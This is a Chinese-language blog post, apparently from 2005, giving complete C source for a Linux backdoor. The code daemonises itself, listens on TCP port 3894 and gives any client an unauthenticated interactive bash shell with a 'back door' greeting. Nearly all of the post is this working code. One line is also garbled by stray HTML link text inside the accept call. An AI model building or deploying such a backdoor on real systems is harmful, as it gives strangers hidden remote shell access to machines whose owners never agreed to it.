轉載請保留原作者信息,謝謝。
要求的專業知識:
一: 精通OSI參考模型,精通網絡五層:物理層,數據鏈路層,網絡層,傳輸層,應用層。
精通每一層的協議,數據報格式。精通網絡拓撲結構,第一層,第二層,第三層的網
絡互聯,數據的轉發和路由等。
二: 精通C語言程序設計,UNIX/LINUX程序設計,網絡程序設計。熟悉UNIX/LINUX系
統操作,熟悉著名服務的基本配置,特性及使用的端口號。熟悉經典網絡命令的使用,
如:netstat,ping,traceroute,netcat,arp等。
三: 精通標準SQL語言,熟悉流行的數據庫使用,如:Oracle,Mysql等。掌握數據庫與
WEB語言的結合使用。
好久沒有寫了,今天寫一個后門吧。
后門程序自然是設計成服務器了。在linux里,我把它設計成daemon。
一個init_daemon函數是必不可少的。下面是一個完美的init_daemon函數。
1:生成子進程,脫離終端
2:成為會話組長
3:生成新的進程,防止進程再打開終端
4:關閉文件描述符
5:釋放當前工作目錄
6:重建文件掩碼
1 /*
2 * writed by kf_701
3 * 2005-3-8
4 * email:kf_701@21cn.com
5 */
6
7 #include<unistd.h>
8 #include<sys/types.h>
9 #include<sys/stat.h>
10 #include<sys/param.h>
11 #include<fcntl.h>
12 #include<signal.h>
13
14 #define MAXFD 64
15
16 void init_daemon(void)
17 {
18 pid_t pid;
19 int i;
20
21 if(pid = fork()) /*exit terminal*/
22 exit(0);
23 else if(pid<0)
24 exit(1);
25
26 setsid(); /*become session leader*/
27
28 /* when session leader terminate,all
29 process of session will receive SIGHUP */
30 if(signal(SIGHUP,SIG_IGN) == SIG_ERR)
31 exit(1);
32
33 if(pid=fork()) /*prevent daemon opening terminal*/
34 exit(0);
35 else if(pid<0)
36 exit(1);
37
38 for(i=0;i<MAXFD;++i) /*close fds opened by parent*/
39 {
40 close(i);
41 }
42
43 chdir("/"); /*leave working dir*/
44
45 umask(0); /*create file mask*/
46
47 return;
48 }
服務程序的設計用基本的多進程方式。即為每一個連接生成一個子進程。
處理SIGCHLD信號是重要的,只能用waitpid,而不能用wait。因為有可能在
執行信號處理程序的時候,又產生了信號,產生這個信號的子進程便成了僵尸進程。
整個程序只是一個服務器程序設計的模板程序吧。只是調用了一個shell。幾天
前我看到一段代碼,和這個代碼差不多,不過是windows里的,它調用CMD。
1 /* author : kf_701
2 * mtime : 2005
3 * email : kf_701@21cn.com
4 * address : hefei
5 * school : ahau.edu.cn
6 */
7 #include<stdio.h>
8 #include<sys/socket.h>
9 #include<netinet/in.h>
10 #include<signal.h>
11 #include<netdb.h>
12 #include<unistd.h>
13 #include<errno.h>
14 #include<sys/wait.h>
15 #include<sys/types.h>
16
17 #define BACKBLOK 5
18 #define SERVER_PORT 3894
19
20 void init_daemon(void);
21
22 static void sig_child_exit(int sig){
23 int stat;
24 while(waitpid(-1,&stat,WNOHANG)>0 );
25 return;
26 }
27
28 int main(int argc,char **argv)
29 {
30 init_daemon();
31
32 if(signal(SIGCHLD,sig_child_exit) == SIG_ERR){
33 /*perror("signal error");*/
34 exit(1);
35 }
36
37 pid_t pid;
38 int sockfd,new_fd;
39 struct sockaddr_in sa;
40 char hello[]="Welcome to kf_701 back door !\n";
41
42 sockfd = socket(AF_INET,SOCK_STREAM,0);
43 if(sockfd == -1){
44 /* perror("Create socket Error"); */
45 exit(1);
46 }
47
48 bzero(&sa,sizeof(struct sockaddr));
49 sa.sin_family = AF_INET;
50 sa.sin_port = htons(SERVER_PORT);
51 sa.sin_addr.s_addr = htonl(INADDR_ANY);
52
53 if(bind(sockfd,(struct sockaddr *)&sa,sizeof(struct sockaddr)) == -1){
54 /*perror("Bind Error");*/
55 exit(1);
56 }
57
58 if(listen(sockfd,BACKBLOK) == -1){
59 /*perror("Listen Error");*/
60 exit(1);
61 }
62
63 while(1)
64 {
65 new_fd = aclearcase/" target="_blank" >ccept(sockfd,NULL,NULL);
66 if(new_fd == -1){
67 /*perror("Accept Error");*/
68 continue;
69 }
70
71 if((pid = fork())<0){
72 /*perror("fork error");*/
73 continue;
74 }else if(pid == 0)
75 {
76 close(sockfd);
77
78 if(write(new_fd,hello,sizeof(hello)) == -1){
79 /*perror("write error");*/
80 continue;
81 }
82
83 int i;
84 for(i=0;i<3;i++)
85 {
86 dup2(new_fd,i);
87 }
88 close(new_fd);
89 execl("/bin/bash","bash","-i",(char *)0);
90 break;
91 }
92 close(new_fd);
93 }
94 }
夜很深了,我只能寫這么多了。希望你能和我一起努力。
其它的文章都發在我的blog里面:
http://blog.chinaunix.net/index.php?blogId=3063
不要相信態度,尊重技術,不要為裝模作樣的人浪費時間!
*****待續******